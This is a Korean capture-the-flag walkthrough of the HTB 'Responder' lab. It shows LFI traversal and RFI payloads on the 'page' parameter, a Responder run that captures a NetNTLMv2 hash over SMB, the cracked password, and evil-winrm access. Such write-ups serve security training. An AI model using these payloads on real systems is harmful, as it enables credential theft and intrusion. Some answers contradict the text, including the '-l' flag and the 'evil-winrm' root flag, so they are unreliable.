When visiting the web service using the IP address, what is the domain that we are being redirected to?

번역: IP 주소를 사용하여 웹 서비스를 방문할 때, 우리가 어떤 도메인으로 리디렉션되나요?

상세 풀이

정답

unika.htb


Which scripting language is being used on the server to generate webpages?

번역: 서버에서 웹페이지를 생성하는 데 사용되는 스크립팅 언어는 무엇인가요?

상세 풀이

정답

PHP


What is the name of the URL parameter which is used to load different language versions of the webpage?

상세 풀이

sudo vi /etc/hosts

/etc/hosts에 IP와 도메인을 삽입하여 연결이 원활하게 되도록 설정

 

다른 언어의 홈페이지로 이동 시 page 파라미터에 해당 언어의 HTML 파일을 요청하는 것을 확인

정답

page


Which of the following values for the `page` parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

번역: page 매개변수에 대한 다음 값 중 어떤 값이 로컬 파일 포함(Local File Include, LFI) 취약점을 악용하는 예시인가요: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

상세 풀이

로컬 파일 포함(Local File Include, LFI) 취약점이란 웹 애플리케이션에서 사용자가 서버에 저장된 로컬 파일을 로드하도록 허용되지 않은 경우에 발생하는 보안 취약점입니다. 이 취약점은 웹 애플리케이션에서 입력값 검증이 부적절할 때 발생할 수 있으며, 공격자는 이를 이용해 서버에 저장된 중요한 파일을 열람하거나 다른 공격 기법으로 이어지는 기반을 마련할 수 있습니다.

정답

../../../../../../../../windows/system32/drivers/etc/hosts


Which of the following values for the `page` parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

번역: page 매개변수에 대한 다음 값 중 어떤 값이 원격 파일 포함(Remote File Include, RFI) 취약점을 악용하는 예시인가요: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

상세 풀이

원격 파일 포함(Remote File Include, RFI) 취약점이란 웹 애플리케이션에서 사용자가 외부 서버에 저장된 파일을 로드하도록 허용되지 않은 경우에 발생하는 보안 취약점입니다. 이 취약점은 웹 애플리케이션에서 입력값 검증이 부적절할 때 발생할 수 있으며, 공격자는 이를 이용해 원격으로 저장된 악성 코드를 실행하거나 웹 애플리케이션을 조작할 수 있습니다.

정답

//10.10.14.6/somefile


What does NTLM stand for?

번역: NTLM이 무엇을 의미하는가?

상세 풀이

NTLM은 "New Technology LAN Manager"의 약자입니다.

NTLM은 마이크로소프트가 개발한 인증 프로토콜로, 주로 윈도우 네트워크에서 사용됩니다. 이 프로토콜은 사용자의 인증 정보를 암호화하여 서버와 클라이언트 간에 안전하게 전송하는 데 도움이 됩니다. 하지만 보안상의 취약점이 발견되어 현재는 NTLM보다 더 안전한 Kerberos 인증 프로토콜을 사용하는 것이 권장됩니다.

정답

New Technology LAN Manager


Which flag do we use in the Responder utility to specify the network interface?

번역: Responder 유틸리티에서 네트워크 인터페이스를 지정하기 위해 어떤 플래그를 사용하나요?

상세 풀이

Responder 유틸리티는 네트워크 인터페이스를 지정하기 위해 '-I' 또는 '--interface' 플래그를 사용합니다. 이 플래그를 사용하면 원하는 네트워크 인터페이스에서 Responder를 실행할 수 있습니다.

명령어 예시는 다음과 같습니다: responder -I eth0 ****또는 responder --interface eth0

이렇게 하면 eth0 인터페이스에서 Responder가 작동하게 됩니다.

Responder는 네트워크 프로토콜 분석 및 공격 도구입니다. 이 도구는 특히 LAN(Local Area Network)에서 효과적으로 작동하며, 네트워크 패킷을 도청하고, 중간자 공격(Man-in-the-Middle, MiTM)을 수행하거나, 네트워크에 연결된 기기와의 통신을 가로채는 데 사용됩니다.

Responder를 사용하면 악의적인 SMB 서버를 설정하여 대상 시스템의 인증 정보 중 NetNTLMv2를 획득할 수 있습니다. 이를 통해 공격자는 해시 크래킹을 시도하여 실제 비밀번호를 찾을 수 있습니다. 이러한 기능 때문에 Responder는 네트워크 보안 전문가 및 해커들 사이에서 널리 사용되는 도구입니다.

정답

-l


There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as `john`, but the full name is what?.

번역: NetNTLMv2 챌린지/응답을 사용하여 수백만 개의 비밀번호를 시도하여 동일한 응답을 생성하는지 확인하는 여러 도구가 있습니다. 그러한 도구 중 하나는 종종 john이라고 불리지만, 전체 이름은 무엇인가요?

 

상세 풀이

해당 도구는 John the Ripper라는 이름으로 알려져 있습니다. 이 프로그램은 비밀번호 크래킹 툴로서, 다양한 비밀번호 해시 알고리즘에 대한 지원을 제공합니다. 사용자가 캡처한 NetNTLMv2 챌린지/응답 데이터를 이용해 빠르게 비밀번호를 찾아내는 데 사용됩니다. 이 도구는 강력한 성능과 유연성으로 인해 널리 사용되고 있습니다.

정답

John the Ripper


What is the password for the administrator user?

번역: 관리자 사용자의 비밀번호는 무엇인가요?

상세 풀이

HP 설정 파일인 php.ini에서 "allow_url_include" 래퍼는 기본적으로 "Off"로 설정되어 있어, PHP가 원격 HTTP 또는 FTP URL을 로드하지 않아 원격 파일 포함 공격을 방지합니다. 그러나 allow_url_include와 allow_url_fopen이 "Off"로 설정되어 있어도, PHP는 SMB URL의 로드를 방지하지 않습니다. 우리의 경우, 이 기능을 오용하여 NTLM 해시를 훔칠 수 있습니다.

 

git clone <https://github.com/lgandx/Responder>
cd Responder
sudo python3 Responder.py -I tun0

 

Responder의 깃허브 저장소를 git clone을 이용하여 다운로드하여 Responder를 실행합니다.

-I 옵션을 통해 연결할 인터넷 망을 선택할 수 있는데, 현재 리눅스에서 vpn를 사용하기 있지 때문에 tun0 인터페이스로 지정하였습니다.

Responder.conf 파일을 통해 Responder의 여러 기능을 설정할 수 있지만, 설정을 하지 않아도 해당 문제 풀이에 지장이 없습니다.

 

실행 시 로그에 SMB server가 열린 것을 확인할 수 있습니다. RFI 취약점을 이용하여 Responder의 SMB server에 접근하여 NetNTLMv2을 얻어내도록 하겠습니다.

 

SMB server에 임의의 파일을 요청 시 Responder에서 공격 타켓의 NetNTLMv2을 획득할 수 있습니다.

Responder는 악의적인 SMB 서버를 설정하여 NetNTLMv2를 얻습니다. 대상 시스템이 해당 서버에 대해 NTLM 인증을 시도할 때, Responder는 사용자의 비밀번호로 암호화할 챌린지를 되돌려 보냅니다. 서버가 응답하면, Responder는 챌린지와 암호화된 응답을 사용하여 NetNTLMv2를 생성합니다. 이 과정을 통해 Responder는 대상 시스템의 인증 정보 중 NetNTLMv2를 획득할 수 있습니다. 이를 통해 공격자는 해시 크래킹을 시도하여 실제 비밀번호를 찾을 수 있습니다.

 

이후 John the Ripper를 이용하여 사전파일 대입을 한 결과 badminton이라는 패스워드를 사용한다는 것을 확인할 수 있었습니다.

정답

badminton


We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?

번역: 복구한 비밀번호를 사용하여 원격으로 Responder 기계에 액세스하기 위해 Windows 서비스(즉, 상자에서 실행 중인)를 사용하겠습니다. 이 서비스는 어떤 TCP 포트를 수신하나요?

상세 풀이

WinRM (Windows Remote Management)은 원격 관리를 위한 마이크로소프트 프로토콜입니다. 이 프로토콜은 원격으로 Windows 서버와 컴퓨터를 관리하는 데 사용되며, Windows 시스템에서 실행 중인 서비스, 프로세스, 이벤트 로그 등을 관리할 수 있게 해줍니다.

 

WinRM은 WS-Management (Web Services-Management) 표준 기반으로 동작하며, HTTP 또는 HTTPS를 통해 통신합니다. 이 프로토콜을 사용하면 시스템 관리자는 네트워크에 연결된 다른 Windows 시스템에서 명령을 실행하거나 설정을 변경할 수 있습니다. PowerShell Remoting 기능은 WinRM을 기반으로 하여 원격 시스템에서 PowerShell 명령을 실행할 수 있게 합니다.

WinRM
HTTP를 사용하는 경우: 포트 5985 HTTPS를 사용하는 경우(보안 연결): 포트 5986

정답

5985


Submit root flag

상세 풀이

Evil-WinRM은 Windows Remote Management(WinRM)을 사용하여 원격으로 Windows 시스템에 접근하는 데 사용되는 강력한 도구입니다. 이 도구는 원격 Windows 시스템에 대한 쉘 접근을 제공하여 시스템 관리자와 공격자가 원격으로 명령어를 실행하고, 파일을 업로드/다운로드하며, 다양한 작업을 수행할 수 있도록 합니다.

 

Evil-WinRM은 주로 해커와 침투 테스터가 사용하며, 이 도구를 사용하면 취약한 Windows 시스템을 원격으로 탐색하고, 데이터를 추출하며, 추가적인 공격 기회를 찾을 수 있습니다. 이 도구는 유연성과 확장성을 제공하며, 여러 가지 플러그인과 함께 사용할 수 있어 보다 강력한 공격을 가능케 합니다. 그러나 이 도구는 악의적인 목적으로 사용되지 않도록 주의가 필요합니다.

 

위와 같이 공격 타겟에 접속을 한 것을 확인할 수 있습니다.

 

여러 곳을 찾아본 결과 mike 유저의 데스크탑 디렉터리에 flag.txt 파일을 발견할 수 있습니다.

정답

evil-winrm

복사했습니다!